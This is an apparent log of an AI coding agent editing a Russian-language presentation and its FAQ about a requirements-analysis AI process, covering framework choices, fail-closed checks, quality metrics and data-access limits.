\u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:41.527Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:41.527Z] [INFO]       {\n[2026-09-29T07:55:41.527Z] [INFO]         \"oldStart\": 106,\n[2026-09-29T07:55:41.527Z] [INFO]         \"oldLines\": 8,\n[2026-09-29T07:55:41.527Z] [INFO]         \"newStart\": 106,\n[2026-09-29T07:55:41.527Z] [INFO]         \"newLines\": 9,\n[2026-09-29T07:55:41.527Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:41.527Z] [INFO]           \"   [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"   \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\",\n[2026-09-29T07:55:41.527Z] [INFO]           \" - 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"-  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"-  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"+  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"+  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"+  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\",\n[2026-09-29T07:55:41.527Z] [INFO]           \" - 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\",\n[2026-09-29T07:55:41.527Z] [INFO]           \"   \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\",\n[2026-09-29T07:55:41.527Z] [INFO]           \" - \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\"\n[2026-09-29T07:55:41.527Z] [INFO]         ]\n[2026-09-29T07:55:41.527Z] [INFO]       }\n[2026-09-29T07:55:41.527Z] [INFO]     ],\n[2026-09-29T07:55:41.527Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:41.527Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:41.527Z] [INFO]     \"staleRecovered\": true,\n[2026-09-29T07:55:41.527Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:41.527Z] [INFO]   }\n[2026-09-29T07:55:41.527Z] [INFO] }\n[2026-09-29T07:55:44.746Z] [INFO] {\n[2026-09-29T07:55:44.746Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:44.746Z] [INFO]   \"message\": {\n[2026-09-29T07:55:44.746Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:44.746Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:44.746Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:44.746Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:44.746Z] [INFO]     \"content\": [\n[2026-09-29T07:55:44.746Z] [INFO]       {\n[2026-09-29T07:55:44.746Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:44.746Z] [INFO]         \"id\": \"toolu_01DH5tJUnm4fRLmhvZDBt2zw\",\n[2026-09-29T07:55:44.746Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:44.746Z] [INFO]         \"input\": {\n[2026-09-29T07:55:44.746Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:44.746Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:44.746Z] [INFO]           \"old_string\": \"  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e 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\u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. 